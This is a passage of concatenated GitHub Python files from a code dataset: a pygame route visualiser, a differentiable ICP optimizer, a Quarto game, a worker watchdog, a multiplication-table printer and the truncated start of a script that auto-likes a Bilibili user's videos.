pd.read_csv(\"data_files/koordinaty_ostanovok12.csv\")\nstops = [(i.x, i.y) for _,i in df_stops.iterrows()]\nprint(stops)\n\nnp.random.shuffle(ids)\ndf1 = df#[df.uuid == ids[0]]\npygame.init()\nDISPLAY = (800, 640) # Группируем ширину и высоту в одну переменную\nscreen = pygame.display.set_mode(DISPLAY)\npygame.display.set_caption(\"Super Mario Boy\")\nbg = Surface(DISPLAY)\nBACKGROUND_COLOR = \"#005500\"\n\nbg.fill(Color(BACKGROUND_COLOR))\n\nimg = pygame.image.load(\"pictures/map.jpg\")\n#img = pygame.image.load(\"vibrosi.jpg\")\n#screen.blit(img, (0, 0))\n\n#np.random.shuffle(df1)\n\n\n\ndef cart2pol(x,y):\n return (x**2+y**2)**0.5, atan2(y, x)\n\ndef pol2cart(r,fi):\n return r*cos(fi),r*sin(fi)\n\nlast_coordinate = [0 for i in range(len(ids))]\nscreen.blit(img, (-100, 0))\nstart = 1000\nfor _,i in df1.iterrows():\n if _%50==0:\n pass#screen.blit(img, (-100, 0))\n #if _ > 4000 or _ < 3000:\n # continue\n\n for e in pygame.event.get(): # Обрабатываем события\n if e.type == QUIT:\n raise (SystemExit, \"QUIT\")\n\n '''for stop in stops:\n pf = Surface((12, 12))\n color = pygame.Color(\"#FF0000\")\n pf.fill(color)\n coord = ((stop[0] - 37.5) * 5000, (stop[1] - 55.7) * 5000)\n screen.blit(pf, coord)\n '''\n\n lc = last_coordinate[ids.index(i.uuid)]\n z = ((-atan2(-(i.y-c[1])/cos(55*pi/180), i.x-c[0]))/(2*pi)*LENGTH)%LENGTH\n last_coordinate[ids.index(i.uuid)] = z\n if z - lc > 5 or z - lc < -600:\n continue\n\n pf = Surface((8, 8))\n color = colors[i.uuid]#pygame.Color(random.randint(0,255),random.randint(0,255),random.randint(0,255))\n pf.fill(color)\n coord = ((i.x-c[0])*SCALE+450, -(i.y-c[1])/cos(fi*pi/180)*SCALE+350)\n screen.blit(pf, coord)\n #print(coord)\n\n # Center\n pf = Surface((20, 20))\n color = pygame.Color(\"#FF00FF\")\n pf.fill(color)\n coord = ((c[0] - c[0]) * SCALE + 450, -(c[1] - c[1]) / cos(fi * pi / 180) * SCALE + 350)\n screen.blit(pf, coord)\n\n coord = ((i.x-c[0])*SCALE+450, -(i.y-c[1])/cos(fi*pi/180)*SCALE+350)\n print(i.x-c[0], -(i.y-c[1]))\n\n '''for j1 in np.arange(r_bot[1]-0.1, l_top[1]+0.1, 0.0001):\n i1 = c[0] - (r_in**2 - (c[1] - j1) ** 2)**0.5\n pf = Surface((1, 1))\n color = pygame.Color(\"#FF00FF\")\n pf.fill(color)\n coord = ((i1 - c[0]) * 5000 + 450, -(j1 - c[1])* 5000 + 350)\n try:\n screen.blit(pf, coord)\n except:\n pass\n\n i1 = c[0] + (r_in**2 - (c[1] - j1) ** 2)**0.5\n pf = Surface((1, 1))\n color = pygame.Color(\"#FF00FF\")\n pf.fill(color)\n coord = ((i1 - c[0]) * 5000 + 450, -(j1 - c[1])* 5000 + 350)\n try:\n screen.blit(pf, coord)\n except:\n pass'''\n\n ''' for i1 in np.arange(l_top[0], r_bot[0], 0.001):\n for j1 in np.arange(r_bot[1], l_top[1], 0.001):\n r = ((c[0] - i1)**2 + (c[1] - j1)**2)**0.5\n print(r, r_in, r_out)\n if True or r > r_in and r < r_out:\n pf = Surface((1, 1))\n color = pygame.Color(\"#FF00FF\")\n pf.fill(color)\n coord = ((i1 - c[0]) * 5000 + 450, -(j1 - c[1]) / cos(55 * pi / 180) * 5000 + 350)\n screen.blit(pf, coord)\n'''\n fontObj = pygame.font.Font('freesansbold.ttf', 30)\n textSurfaceObj = fontObj.render('Real time: {}'.format(i.t), True, Color(\"#FFFF00\"),\n Color(\"#0000FF\"))\n textRectObj = textSurfaceObj.get_rect()\n textRectObj.center = (200, 30)\n\n screen.blit(textSurfaceObj, textRectObj)\n\n pygame.display.update()\n\n #if _ > start:\n # time.sleep(1)\n\n#df = df#[df.uuid == 84493]\n\n\n","repo_name":"LeonidMurashov/Autopilot_sirius","sub_path":"Leonid/view_data.py","file_name":"view_data.py","file_ext":"py","file_size_in_byte":4835,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"20591972256","text":"\"\"\"Differentiable Optimizers\"\"\"\n\nfrom abc import ABC, abstractmethod\n\nimport torch\nfrom torch import sin, cos\n\nfrom difficp.utils.geometry_utils import (\n transform_points_by_pose,\n pose_to_matrix,\n transform_points_by_matrix,\n)\nfrom .linear_solver import LinearSolverLU\nfrom .distance_function import get_distance_function\n\n\nclass LMOptimizer(ABC):\n \"\"\"Differentiable Levenberg-Marquardt Optimizer\"\"\"\n\n def __init__(\n self,\n lm_lambda=1e-5,\n lm_v=1.5,\n iters_max=1000,\n mse_threshold=0,\n pose_threshold=0,\n jacobian_type=\"numeric\",\n verbose=False,\n ):\n \"\"\"\n Initialize optimizer\n :param lm_lambda: initial trust region size\n :param lm_v: trust region update factor\n :param iters_max: maximum number of LM iterations\n :param mse_threshold: MSE difference threshold to check convergence\n :param pose_threshold: pose difference threshold to check convergence\n :param verbose: if true, print progress information\n \"\"\"\n self.lm_lambda = lm_lambda\n self.lm_v = lm_v\n self.iters_max = iters_max\n self.mse_threshold = mse_threshold\n self.pose_threshold = pose_threshold\n self.jacobian_type = jacobian_type\n self.dist_fn = self.define_dist_fn()\n self.jacobian_method = self.define_jacobian_method()\n self.verbose = verbose\n\n @abstractmethod\n def define_dist_fn(self):\n \"\"\"define distance function that assign an error for (pose, sources, targets)\"\"\"\n\n def define_jacobian_method(self):\n \"\"\"define method to construct jacobian\"\"\"\n return {\n \"autograd\": self.autograd_jacobian,\n \"numeric\": self.numeric_jacobian,\n }[self.jacobian_type]\n\n def __call__(self, pose, sources, targets, **kwargs):\n \"\"\"\n solve point-to-point procrustes using LM Optimizer\n :param pose: initial pose (alpha, beta, gamma, tx, ty, tz), shape 6\n :param sources: source points, shape Kx3\n :param targets: target points, shape Kx3\n :param kwargs: kwargs passed to both self.dist_fn and self.jacobian_method\n :return: best transformation between source and target, shape 6\n \"\"\"\n sources_ = sources.reshape(-1, 3)\n targets_ = targets.reshape(-1, 3)\n\n def pose_to_mse(pose_):\n \"\"\"Calculate mean squared error over residuals for a given pose\"\"\"\n dists_ = self.dist_fn(pose_, sources_, targets_, **kwargs)\n mse_ = torch.mean(dists_ ** 2)\n return mse_, dists_\n\n lm_lambda, lm_v = self.lm_lambda, self.lm_v # init lambda and v\n for i in range(self.iters_max):\n last_mse, dists = pose_to_mse(pose)\n jacobian = self.jacobian_method(sources_, targets_, pose, **kwargs)\n gradient = torch.matmul(jacobian.t(), dists.view(-1, 1))\n jtj = torch.matmul(jacobian.t(), jacobian)\n\n def perform_lm_update(lambda_, grad_=gradient, jtj_=jtj):\n \"\"\"Perform a LM pose update using trust region size lambda\"\"\"\n hessian = jtj_ + lambda_ * torch.diag(torch.diag(jtj_))\n delta = LinearSolverLU.apply(hessian, grad_).view(-1)\n return pose - delta\n\n # Marquardt's trust region update guideline:\n # 1) if lambda/v leads to lower error, set lambda=lambda/v and update pose\n # 2) elif lambda leads to lower error, keep lambda and update pose\n # 3) if both don't lower the error, do lambda=lambda*v until improvement\n lm_lambda /= lm_v\n new_pose = perform_lm_update(lm_lambda)\n mse = pose_to_mse(new_pose)[0]\n j = 0\n while mse > last_mse:\n j += 1\n lm_lambda *= lm_v\n new_pose = perform_lm_update(lm_lambda)\n mse = pose_to_mse(new_pose)[0]\n if self.verbose:\n print(\"\\t\\t\", j, mse, last_mse, lm_lambda)\n pose_diff = torch.mean(torch.abs(pose - new_pose))\n pose = new_pose\n\n # stop iteration if mse or pose difference becomes too small\n mse_diff = torch.abs(last_mse - mse)\n if self.verbose:\n print(\"\\t\", i, mse, mse_diff, pose_diff)\n if mse_diff <= self.mse_threshold or pose_diff <= self.pose_threshold:\n return pose\n return pose\n\n def numeric_jacobian(self, sources, targets, pose, eps=1e-5, **kwargs):\n \"\"\"\n Calculate numeric jacobian using central differences\n :param sources: source points, Kx3 matrix of x-y-z coordinates\n :param targets: target points, Kx3 matrix of x-y-z coordinates\n :param pose: 6DoF pose [alpha, beta, gamma, tx, ty, tz]\n :param eps: epsilon in central differences\n :return: jacobian matrix, shape 3Kx6\n \"\"\"\n jacobian = []\n for i in range(len(pose)):\n pose1 = pose.clone()\n pose2 = pose.clone()\n pose1[i] += eps\n pose2[i] -= eps\n dist1 = self.dist_fn(pose1, sources, targets, **kwargs)\n dist2 = self.dist_fn(pose2, sources, targets, **kwargs)\n grad = (dist1 - dist2) / (2 * eps)\n jacobian.append(grad.view(-1))\n return torch.stack(jacobian, -1)\n\n def autograd_jacobian(self, sources, targets, pose, **kwargs):\n return torch.autograd.functional.jacobian(\n lambda pose_: self.dist_fn(pose_, sources, targets, **kwargs).view(-1), pose\n )\n\n\nclass LMOptimizer6DoF(LMOptimizer):\n def __init__(\n self,\n *args,\n dist_type=\"point\",\n w_point=0,\n w_plane=0,\n w_symmetric=0,\n **kwargs,\n ):\n self.dist_type = dist_type\n self.w_point = w_point\n self.w_plane = w_plane\n self.w_symmetric = w_symmetric\n self.dist_fn_6dof = get_distance_function(\n dist_type=dist_type,\n point_weight=w_point,\n plane_weight=w_plane,\n symmetric_weight=w_symmetric,\n )\n super().__init__(*args, **kwargs)\n\n def __call__(self, pose, *args, **kwargs):\n zero_pose = torch.zeros(6, dtype=pose.dtype, device=pose.device)\n pose_change = super().__call__(zero_pose, *args, **kwargs)\n pose_change = pose_to_matrix(pose_change)\n return torch.matmul(pose_change, pose)\n\n def define_dist_fn(self):\n def dist_6dof(pose, sources, targets, **kwargs):\n sources_ = transform_points_by_pose(sources, pose)\n return self.dist_fn_6dof(sources_, targets, **kwargs)\n\n return dist_6dof\n\n def define_jacobian_method(self):\n return {\n \"autograd\": self.autograd_jacobian,\n \"numeric\": self.numeric_jacobian,\n \"analytic\": self.analytic_jacobian,\n }[self.jacobian_type]\n\n def analytic_jacobian(\n self,\n sources,\n targets,\n pose,\n source_normals=None,\n target_normals=None,\n weights=None,\n **_,\n ):\n \"\"\"\n Calculate analytic jacobian for 6DoF point-to-point alignment\n :param sources: source points, Kx3 matrix of x-y-z coordinates\n :param targets: target points, Kx3 matrix of x-y-z coordinates\n :param pose: 6DoF pose [alpha, beta, gamma, tx, ty, tz]\n :param source_normals: normals of each source point, shape Kx3\n :param target_normals: normals of each target point, shape Kx3\n :param weights: correspondence weights, shape Kx1\n :return: jacobian matrix, shape LKx6 for L in {1, 2, 3, 4, 5}\n \"\"\"\n sources_ = transform_points_by_pose(sources, pose)\n num_correspondences = sources_.shape[0]\n ones = torch.ones(num_correspondences, device=pose.device, dtype=pose.dtype)\n zeros = torch.zeros(num_correspondences, device=pose.device, dtype=pose.dtype)\n alpha, beta, gamma = pose[:3]\n sina, cosa = sin(alpha), cos(alpha)\n sinb, cosb = sin(beta), cos(beta)\n sing, cosg = sin(gamma), cos(gamma)\n x, y, z = sources[:, 0], sources[:, 1], sources[:, 2] # K\n\n dldalpha = [\n (\n (cosg * sinb * cosa + sing * sina) * y\n + (-cosg * sinb * sina + sing * cosa) * z\n ),\n (\n (sing * sinb * cosa - sing * sina) * y\n + (-sing * sinb * cosa - cosg * cosa) * z\n ),\n ((cosb * cosa) * y + (-cosb * sina) * z),\n ]\n dldalpha = torch.stack(dldalpha, -1) # Kx3\n dldbeta = [\n ((-cosg * sinb) * x + (cosg * cosb * sina) * y + (cosg * cosb * cosa) * z),\n ((-sing * sinb) * x + (sing * cosb * sina) * y + (sing * cosb * cosa) * z),\n ((-cosg) * x + (-sinb * sina) * y + (-sinb * cosa) * z),\n ]\n dldbeta = torch.stack(dldbeta, -1) # Kx3\n dldgamma = [\n (\n (-sing * cosb) * x\n + (-sing * sinb * sina - cosg * cosa) * y\n + (-sing * sinb * cosa + cosg * sina) * z\n ),\n (\n (cosg * cosb) * x\n + (cosg * sinb * sina - sing * cosa) * y\n + (cosg * sinb * cosa + sing * sina) * z\n ),\n zeros,\n ]\n dldgamma = torch.stack(dldgamma, -1) # Kx3\n dldtx = torch.stack([ones, zeros, zeros], -1) # Kx3\n dldty = torch.stack([zeros, ones, zeros], -1) # Kx3\n dldtz = torch.stack([zeros, zeros, ones], -1) # Kx3\n grads = [dldalpha, dldbeta, dldgamma, dldtx, dldty, dldtz] # each Kx3\n\n if weights is not None:\n weights = weights.view(-1, 1) # Kx1\n grads = [grad * weights for grad in grads] # each Kx3\n\n jacobian = torch.tensor([], device=sources.device)\n if self.w_point > 0:\n jacobian_point = torch.stack([grad.reshape(-1) for grad in grads], -1)\n jacobian = torch.cat([jacobian, jacobian_point * self.w_point], 0)\n if self.w_plane > 0:\n jacobian_plane = torch.stack(\n [torch.sum(grad * target_normals, dim=-1) for grad in grads], -1\n )\n jacobian = torch.cat([jacobian, jacobian_plane * self.w_plane], 0)\n if self.w_symmetric > 0:\n symmetric_normals = source_normals + target_normals\n jacobian_symmetric = torch.stack(\n [torch.sum(grad * symmetric_normals, dim=-1) for grad in grads], -1\n )\n jacobian = torch.cat([jacobian, jacobian_symmetric * self.w_symmetric], 0)\n\n return jacobian / max(self.w_point, self.w_plane, self.w_symmetric)\n\n\nclass LMOptimizerSMPL(LMOptimizer):\n def __init__(\n self, smpl_model, *args, regularized=False, global_pose=None, **kwargs\n ):\n self.smpl_model = smpl_model\n self.regularized = regularized\n self.global_pose = global_pose\n super().__init__(*args, **kwargs)\n\n def define_dist_fn(self):\n class SMPLDist:\n def __init__(self, smpl_model, global_pose=None):\n self.smpl_model = smpl_model\n self.global_pose = global_pose\n self.num_pose_params = 23 * 3\n self.num_shape_params = 10 * 3\n\n def __call__(self, pose, sources, targets, **unused_kwargs):\n pose_ = pose[: self.num_pose_params].view(1, -1)\n shape_ = pose[self.num_pose_params :].view(1, -1)\n output = self.smpl_model(betas=shape_, body_pose=pose_)\n sources_ = output.vertices.detach().squeeze()\n if self.global_pose is not None:\n sources_ = transform_points_by_matrix(sources_, self.global_pose)\n return (sources_ - targets).reshape(-1)\n\n dist_fn = SMPLDist(self.smpl_model, self.global_pose)\n if self.regularized:\n return self._regularize_dist_fn(dist_fn)\n return dist_fn\n\n def define_jacobian_method(self):\n jacobian_method = {\n \"autograd\": self.autograd_jacobian,\n \"numeric\": self.numeric_jacobian,\n }[self.jacobian_type]\n if self.regularized and self.jacobian_type == \"analytic\":\n return self._regularize_jacobian(jacobian_method)\n return jacobian_method\n\n @staticmethod\n def _regularize_dist_fn(dist_fn):\n def wrapper(pose, sources, targets, **kwargs):\n dist = dist_fn(pose, sources, targets, **kwargs)\n reg = pose ** 2\n return torch.cat([dist, reg])\n\n return wrapper\n\n @staticmethod\n def _regularize_jacobian(jacobian_method):\n def wrapper(sources, targets, pose, **kwargs):\n jacobian = jacobian_method(sources, targets, pose, **kwargs)\n reg = torch.diag(pose) * 2\n return torch.cat([jacobian, reg], dim=0)\n\n return wrapper\n","repo_name":"fa9r/DiffICP","sub_path":"difficp/icp/optimizer.py","file_name":"optimizer.py","file_ext":"py","file_size_in_byte":12946,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"3"} +{"seq_id":"30191296433","text":"# Enums for quarto.\nDRAW = \"D\"\nWIN = \"W\"\nUNDECIDED = \"U\"\nLOSE = \"L\"\nTIE = \"T\"\n\nclass Piece():\n \"\"\" \n This is the piece class.\n \"\"\"\n attributes = None\n full_name = \"\"\n abbreviation = \"\"\n\n def __init__(self, attributes):\n \"\"\" \n Constructor for our piece class with support for \n the various pieces in the game of Quarto.\n \"\"\"\n self.attributes = attributes\n if attributes & 0b0001:\n self.full_name += \"Tall\"\n self.abbreviation += \"T\"\n else:\n self.full_name += \"Short\"\n self.abbreviation += \"S\"\n if attributes & 0b0010:\n self.full_name += \" black\"\n self.abbreviation += \"B\"\n else:\n self.full_name += \" white\"\n self.abbreviation += \"W\"\n if attributes & 0b0100:\n self.full_name += \" circle\"\n self.abbreviation += \"C\"\n else:\n self.full_name += \" square\"\n self.abbreviation += \"Q\"\n if attributes & 0b1000:\n self.full_name += \" solid-top\"\n self.abbreviation += \"D\"\n else:\n self.full_name += \" hollow-top\"\n self.abbreviation += \"H\"\n\n def get_attributes(self):\n \"\"\" \n Returns a list of attributes.\n \"\"\"\n return self.attributes\n\n def get_piece_name(self):\n \"\"\"\n Returns the name of the piece.\n \"\"\"\n return self.full_name\n\n def get_piece_abbr(self):\n \"\"\"\n Returns the abbreviation of the piece.\n \"\"\"\n return self.abbreviation\n\nclass Board():\n \"\"\"\n This is the board class.\n \"\"\"\n pieces = []\n cols_count = 4\n rows_count = 4\n board = None\n\n def __init__(self):\n \"\"\"\n Constructor for our board class. \n Appends all the pieces of quarto to our array of pieces.\n Implemented by a 4x4 2D array.\n \"\"\"\n self.board = [[None for x in range(self.cols_count)] for y in\n range(self.rows_count)]\n #short: 0, tall: 1\n #black: 0, white: 1\n #circle: 0, square: 1\n #solid: 0, hollow: 1\n self.pieces.append(Piece(0b0000))\n self.pieces.append(Piece(0b0001))\n self.pieces.append(Piece(0b0010))\n self.pieces.append(Piece(0b0011))\n self.pieces.append(Piece(0b0100))\n self.pieces.append(Piece(0b0101))\n self.pieces.append(Piece(0b0110))\n self.pieces.append(Piece(0b0111))\n self.pieces.append(Piece(0b1000))\n self.pieces.append(Piece(0b1001))\n self.pieces.append(Piece(0b1010))\n self.pieces.append(Piece(0b1011))\n self.pieces.append(Piece(0b1100))\n self.pieces.append(Piece(0b1110))\n self.pieces.append(Piece(0b1101))\n self.pieces.append(Piece(0b1111))\n\n def get_board(self):\n \"\"\"\n Returns the board. \n \"\"\"\n return self.board\n\n def get_pieces(self):\n \"\"\"\n Returns the pieces array.\n \"\"\"\n return self.pieces\n\n def get_pieces_names(self):\n \"\"\"\n Returns the names of all the pieces in our pieces array.\n \"\"\"\n return [\"(\" + str(i) + \"): \" + self.pieces[i].get_piece_name()\n for i in range(0, len(self.pieces))]\n\n def get_rows(self):\n \"\"\"\n Returns the rows of the board.\n \"\"\"\n return self.board\n\n def get_cols(self):\n \"\"\"\n Returns the columns of the board.\n \"\"\"\n cols = []\n for row in self.board:\n cols.append([row[i] for i in range(self.rows_count)])\n return cols\n\n def shared_attributes(self, lst):\n \"\"\"\n Returns a list of shared attributes among pieces.\n \"\"\"\n attributes_list = [piece.get_attributes() for piece in lst\n if piece] #nested list of all attributes\n if len(attributes_list) != self.rows_count:\n return 0\n win = 0b1111\n win2 = 0b1111\n for attr in attributes_list:\n win = win & attr\n win2 = win2 & ~attr\n return win or win2\n\n def check_win_horizontal(self):\n \"\"\"\n Returns a boolean indicating whether or not a horizontal win has occurred.\n \"\"\"\n for row in self.get_rows(): #0 to 3\n if self.shared_attributes(row): #if there are shared attributes\n return True\n return False\n\n def check_win_vertical(self):\n \"\"\"\n Returns a boolean indicating whether or not a vertical win has occurred.\n \"\"\"\n attr_list = [[] for i in range(self.rows_count)]\n for row in self.get_rows():\n for i in range(len(row)):\n attr_list[i].append(row[i]) #if there are shared attributes\n for lst in attr_list:\n if self.shared_attributes(lst):\n return True\n return False\n\n def check_win_diagonal(self):\n \"\"\"\n Returns a boolean indicating whether or not a diagonal win has occurred.\n \"\"\"\n ltr_diag = []\n rtl_diag = []\n i, j = 0, 3\n for row in self.board:\n ltr_diag += [row[i]]\n rtl_diag += [row[j]]\n i += 1\n j -= 1\n if (self.shared_attributes(ltr_diag) or\n self.shared_attributes(rtl_diag)):\n return True\n return False\n\n def player(self):\n \"\"\"\n Returns whose turn it is.\n \"\"\"\n if len(self.pieces)%2 == 0:\n return 1\n else:\n return 2\n\n def other_player(self):\n \"\"\" \n Returns the other person's turn.\n \"\"\"\n if len(self.pieces)%2 == 0:\n return 2\n else:\n return 1\n\n def print_board(self):\n \"\"\"\n Prints the board.\n \"\"\"\n for row in self.board:\n pr = []\n for piece in row:\n if piece:\n pr.append(piece.get_piece_abbr())\n else:\n pr.append(None)\n print(pr)\n\n def place_piece(self, piece, row, col):\n \"\"\"\n Places the piece in the specified location.\n \"\"\"\n if not self.board[row][col] and piece in self.pieces:\n self.board[row][col] = piece\n # del self.pieces[piece]\n self.pieces.remove(piece)\n return True\n else:\n return False\n\nquarto_board = None\n\ndef initial_position():\n \"\"\"\n Initializes the board, which is a 4x4 2D array.\n \"\"\"\n return Board()\n\ndef primitive(state):\n \"\"\"\n Returns whether or not the current game is a TIE, WIN, or UNDECIDED.\n This function takes in a state, which is an instance of Board.\n \"\"\"\n if (state.check_win_horizontal() or state.check_win_vertical() or\n state.check_win_diagonal()):\n return WIN\n # no more pieces\n if len(state.pieces) == 0:\n return TIE\n return UNDECIDED\n\ndef gen_moves(state):\n \"\"\"\n Generates a list of possible pieces for your opponent to give you.\n \"\"\"\n return state.get_pieces_names()\n\ndef do_move(move, state):\n \"\"\"\n Makes the move.\n \"\"\"\n state.place_piece(move[0], move[1], move[2])\n return state\n\ndef solve(state):\n \"\"\"\n Solver for our game instance.\n \"\"\"\n return primitive(state)\n\ndef main():\n \"\"\"\n The main function that keeps the game running.\n This is essentially an interface between our quarto game\n and the player.\n \"\"\"\n print(\"Starting game of Quarto...\")\n print()\n board = initial_position()\n while True:\n print(\"------------\")\n print(\"Player\", board.player(), \"'s turn: \")\n print(\"------------\")\n print(\"Current state of board: \")\n board.print_board()\n print()\n print(\"Available pieces: \")\n print(gen_moves(board))\n print()\n piece_index = input(\"Player \" +str(board.other_player()) +\n \" please pick a piece to give to Player \"\n + str(board.player()) +\n \" (index num): \")\n p = board.get_pieces()[int(piece_index)]\n print(\"Player \" + str(board.player()) +\n \" choose where you want to place \" + p.get_piece_name() + \"...\")\n r = input(\"Row: \")\n c = input(\"Col: \")\n do_move((p, int(r), int(c)), board)\n if solve(board) == WIN:\n board.print_board()\n print(\"Player\", board.other_player(), \"wins!\")\n return\n else:\n print(\"SOLVE: \", solve(board))\n print()\n\nmain()\n","repo_name":"thyrgle/Game","sub_path":"quarto.py","file_name":"quarto.py","file_ext":"py","file_size_in_byte":8610,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"27057322603","text":"\"\"\"Watch out for internal oracle hang conditions.\n\nSuitable for multithread and multiprocess watching.\n\"\"\"\nimport enum\nimport logging\nimport os\nimport signal\nimport time\nfrom multiprocessing import Manager\nfrom multiprocessing.managers import DictProxy\nfrom threading import Thread\nfrom typing import List, TypeAlias, Optional\n\n\nlogger = logging.getLogger()\n\n\n#: Watchdog is a multprocess safe dict for now\nWatchdogRegistry: TypeAlias = DictProxy | dict\n\n\n#: Internal multiprocess manager co-ordinator\n#:\n#: We need to lazy init because of Python VM bootstrap order\n_manager: Optional[Manager] = None\n\n\n#: Is the watchdog stopped?\n#:\n#: Will be stopped in a shutdown / after receiving an exception.\nstopped = False\n\n\nclass WatchedWorkerDidNotReport(Exception):\n \"\"\"Raised when a watched process/thread/loop fails to report in time.\"\"\"\n\n\nclass WorkerNotRegistered(Exception):\n \"\"\"Tried to get ping from a worker that is not yet registered.\"\"\"\n\n\nclass WatchdogMode(enum.Enum):\n \"\"\"How does the watchdog communicate with its tasks.\"\"\"\n\n #: Thread based.\n #:\n #: The application does not need to communicate with child processe.\n thread_based = \"thread_based\"\n\n #: Process based.\n #:\n #: The application has child processes and needs to set up\n #: multiprocess communicatons.\n #:\n #: :py:class:`DictProxy` is used to communicate task\n #: liveness and it works across process boundaries.\n #:\n #: For the caveats see,\n #: https://stackoverflow.com/a/75385991/315168 as this may\n #: cause zombie processes.\n process_based = \"process_based\"\n\n\ndef create_watchdog_registry(mode: WatchdogMode) -> WatchdogRegistry:\n \"\"\"Create new multiprocess co-ordation structure.\n\n - Call in the master process\n\n - Registry must be passed to threads/processes setting up their own loops\n\n :return:\n Multiprocess communication safe dict\n \"\"\"\n\n global _manager\n\n if mode == WatchdogMode.process_based:\n if _manager is None:\n _manager = Manager()\n return _manager.dict()\n else:\n # For thread-based co-ordinate we can use a normal Python dict\n # that is thread safe\n return dict()\n\n\ndef register_worker(watchdog_registry: WatchdogRegistry, name: str, timeout_seconds: float):\n \"\"\"Register a worker/main loop.\n\n Call before your process begins.\n\n :param name:\n Name of this process/thread/loop\n\n :param timeout_seconds:\n How often this\n \"\"\"\n\n assert timeout_seconds > 0\n\n # For each process we create timeout and last ping entries\n watchdog_registry[f\"{name}:timeout\"] = timeout_seconds\n\n # Initialise the value\n mark_alive(watchdog_registry, name)\n\n\ndef mark_alive(watchdog_registry: WatchdogRegistry, name: str, time_: Optional[float] = None):\n \"\"\"Mark the worker being alive.\n\n Call for each registered worker at the end of its\n duty cycle.\n \"\"\"\n\n if not time_:\n time_ = time.time()\n\n watchdog_registry[f\"{name}:last_ping\"] = time_\n\n\ndef get_last_ping(watchdog_registry: WatchdogRegistry, name: str) -> float:\n \"\"\"Get the UNIX timestamp when a process pinged last time.\n\n :raise WorkerNotRegistered:\n If querying an unknown worker.\n \"\"\"\n\n timeout = watchdog_registry.get(f\"{name}:timeout\")\n if timeout is None:\n raise WorkerNotRegistered(f\"No watchdog worker: {name}\")\n\n val = watchdog_registry.get(f\"{name}:last_ping\")\n return val\n\n\ndef get_timeout(watchdog_registry: WatchdogRegistry, name: str) -> float:\n \"\"\"Get the UNIX timestamp when a process pinged last time.\"\"\"\n return watchdog_registry[f\"{name}:timeout\"]\n\n\ndef get_watched_workers(watchdog_registry: WatchdogRegistry) -> List[str]:\n \"\"\"Get list of processes that are on the watchdog list.\"\"\"\n\n workers = []\n\n for key in watchdog_registry:\n if \":timeout\" in key:\n name, timeout = key.split(\":\")\n workers.append(name)\n\n return workers\n\n\ndef check_hung_workers(watchdog_registry: WatchdogRegistry):\n \"\"\"Check that all workers have reported in time.\n\n - Call in the master process regularly.\n\n :raise WatchedProcessDidNotReport:\n If any of the watched processes has failed to report in time.\n \"\"\"\n workers = get_watched_workers(watchdog_registry)\n for w in workers:\n last_ping = get_last_ping(watchdog_registry, w)\n assert last_ping is not None, f\"No ping data for worker: {w}\"\n timeout = get_timeout(watchdog_registry, w)\n since_ping = time.time() - last_ping\n if since_ping > timeout:\n raise WatchedWorkerDidNotReport(f\"Watched worker {w} did not report back in time. Threshold seconds {timeout}, but it has been {since_ping} seconds.\")\n\n\ndef start_background_watchdog(watchdog_registry: WatchdogRegistry):\n \"\"\"Call in the main thread.\n\n - Starts the watchdog background thread that will watch over all workers in all processes\n\n - Kill the main process if any of the workers seem to be hung\n \"\"\"\n def _run():\n\n last_report = 0\n\n while True and not stopped:\n\n # Ping logs we are still alive\n if time.time() - last_report > 1800:\n logger.info(\"Watchdog background thread running\")\n last_report = time.time()\n\n try:\n check_hung_workers(watchdog_registry)\n except Exception as e:\n logger.critical(\"Watchdog detected a process has hung: %s Shutting down.\", e)\n time.sleep(10) # Give some time to Discord logger to send the message before crashing down\n suicide()\n\n time.sleep(5)\n\n t = Thread(target=_run, daemon=True)\n t.start()\n logger.info(\"Watchdog thread started\")\n\n\ndef suicide():\n \"\"\"Hard kill Python application despite multiple threads.\n\n faulthandler will cause a thread dump,\n so you can examine the hung sate.\n\n https://stackoverflow.com/a/7099229/315168\n \"\"\"\n os.kill(os.getpid(), signal.SIGINT)\n\n\ndef stop_watchdog():\n \"\"\"Stop making watchdog checks.\n\n Called in a shutdown / stop sequence, after\n a crash.\n \"\"\"\n global stopped\n stopped = True\n","repo_name":"tradingstrategy-ai/trade-executor","sub_path":"tradeexecutor/cli/watchdog.py","file_name":"watchdog.py","file_ext":"py","file_size_in_byte":6162,"program_lang":"python","lang":"en","doc_type":"code","stars":66,"dataset":"github-code","pt":"3"} +{"seq_id":"5000124223","text":"def gugudan(num):\n quo = 9//num\n n = 2\n print(quo)\n for k in range(1, quo+2):\n for i in range(1, 10):\n if (k * num) + 2 > 9:\n for j in range (n, 10):\n print(\"{0} x {1} = {2}\".format(j, i, j * i), end=\"\\t\")\n print(\" \")\n else:\n for j in range(n, (k*num)+2):\n print(\"{0} x {1} = {2}\".format(j, i, j*i), end=\"\\t\")\n print(\" \")\n n = (k * num) + 2\n print(\" \")\n\nnum = int(input(\"숫자를 입력하세요.\"))\ngugudan(num)\n","repo_name":"naliee/practice1","sub_path":"Crawling/gugudan.py","file_name":"gugudan.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"41807087487","text":"import requests\nimport re\nimport time\n\nstart = time.time()\nmid = 指定用户主页uid\nlikelink = 'https://api.bilibili.com/x/web-interface/archive/like'\nheaders = {\n 'user-agent': \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36 Edg/87.0.664.41\",\n 'cookie': 放你自己的cookie,\n}\nformdata = {'like': '1', 'csrf': re.findall('bili_jct=(.*?);', headers['cookie'])[0]}\n\n\ndef Likes(url):\n res = requests.get(url).text\n formdata['aid'] = re.findall('\"aid\":(.*?),', res)[0]\n try:\n statue = requests.post(likelink, data=formdata, headers=headers)\n if statue.json()['message'] == '已赞过':\n print(\"av%s已赞过\" % (formdata['aid']))\n return 1\n except:\n print('there has some trouble')\n\n\ndef main():\n pg = 1\n num = 0\n while True:\n base_url = 'https://api.bilibili.com/x/space/arc/search?mid={}&pn={}&ps=20&index=1'.format(mid, pg)\n pg += 1\n res = requests.get(base_url, headers=headers).json()\n bvid = res['data']['list']['vlist']\n if not bvid:\n break\n for i in bvid:\n bv = i['bvid']\n num += Likes(\"https://www.bilibili.com/video/\" + bv)\n print(\"尝试点赞了%s次\" % (num))\n end = time.time()\n print(\"运行时间：%s秒\" % (end - 